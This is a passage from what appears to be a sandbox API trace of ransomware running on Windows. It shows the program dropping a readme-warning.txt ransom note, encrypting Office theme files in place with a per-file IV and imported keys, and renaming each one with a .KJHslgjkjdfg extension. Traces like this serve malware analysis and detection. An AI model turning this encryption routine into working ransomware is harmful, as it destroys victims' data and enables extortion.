phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.601] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0178.601] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.601] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.601] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.601] GetProcessHeap () returned 0x2ef0000 [0178.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0178.602] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.602] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.602] GetProcessHeap () returned 0x2ef0000 [0178.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0178.602] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt") returned 81 [0178.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.602] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.603] CloseHandle (hObject=0x12c) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0178.604] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0178.604] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0178.604] GetProcessHeap () returned 0x2ef0000 [0178.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0178.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0178.606] GetProcessHeap () returned 0x2ef0000 [0178.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0178.606] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.606] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.606] GetProcessHeap () returned 0x2ef0000 [0178.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0178.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.607] GetProcessHeap () returned 0x2ef0000 [0178.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0178.607] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0178.607] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0178.607] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0178.651] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.651] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.651] GetProcessHeap () returned 0x2ef0000 [0178.651] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0178.651] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0178.651] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.651] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0178.651] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0178.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.652] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.652] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x58f, lpOverlapped=0x0) returned 1 [0178.652] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x590, dwBufLen=0x590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x590) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x590, lpOverlapped=0x0) returned 1 [0178.652] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.653] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.653] SetEndOfFile (hFile=0x12c) returned 1 [0178.655] GetProcessHeap () returned 0x2ef0000 [0178.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0178.655] GetProcessHeap () returned 0x2ef0000 [0178.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0178.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.658] CloseHandle (hObject=0x12c) returned 1 [0178.658] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0178.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.660] GetProcessHeap () returned 0x2ef0000 [0178.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0178.660] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0178.660] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0178.660] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0178.662] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.662] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.662] GetProcessHeap () returned 0x2ef0000 [0178.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0178.662] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0178.662] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.662] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0178.663] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0178.663] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0178.663] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0178.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0178.663] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0178.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.663] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.663] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb30e, lpOverlapped=0x0) returned 1 [0178.664] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb310, dwBufLen=0xb310 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb310) returned 1 [0178.665] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.665] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb310, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb310, lpOverlapped=0x0) returned 1 [0178.665] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.665] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.665] SetEndOfFile (hFile=0x12c) returned 1 [0178.667] GetProcessHeap () returned 0x2ef0000 [0178.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0178.667] GetProcessHeap () returned 0x2ef0000 [0178.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0178.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.kjhslgjkjdfg")) returned 1 [0179.228] CloseHandle (hObject=0x12c) returned 1 [0179.229] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0179.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.229] GetProcessHeap () returned 0x2ef0000 [0179.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0179.229] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0179.229] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0179.229] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0179.231] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0179.231] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0179.231] GetProcessHeap () returned 0x2ef0000 [0179.231] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0179.231] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0179.231] CryptDestroyKey (hKey=0x2f18308) returned 1 [0179.231] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0179.231] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0179.231] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0179.231] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0179.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0179.232] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0179.232] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0179.232] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0179.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.232] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x24a, lpOverlapped=0x0) returned 1 [0179.232] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250) returned 1 [0179.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.232] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x250, lpOverlapped=0x0) returned 1 [0179.232] CryptDestroyKey (hKey=0x2f18308) returned 1 [0179.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.232] SetEndOfFile (hFile=0x12c) returned 1 [0179.233] GetProcessHeap () returned 0x2ef0000 [0179.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0179.233] GetProcessHeap () returned 0x2ef0000 [0179.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0179.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.kjhslgjkjdfg")) returned 1 [0179.235] CloseHandle (hObject=0x12c) returned 1 [0179.235] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0179.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.236] GetProcessHeap () returned 0x2ef0000 [0179.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0179.236] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0179.236] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0179.236] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, 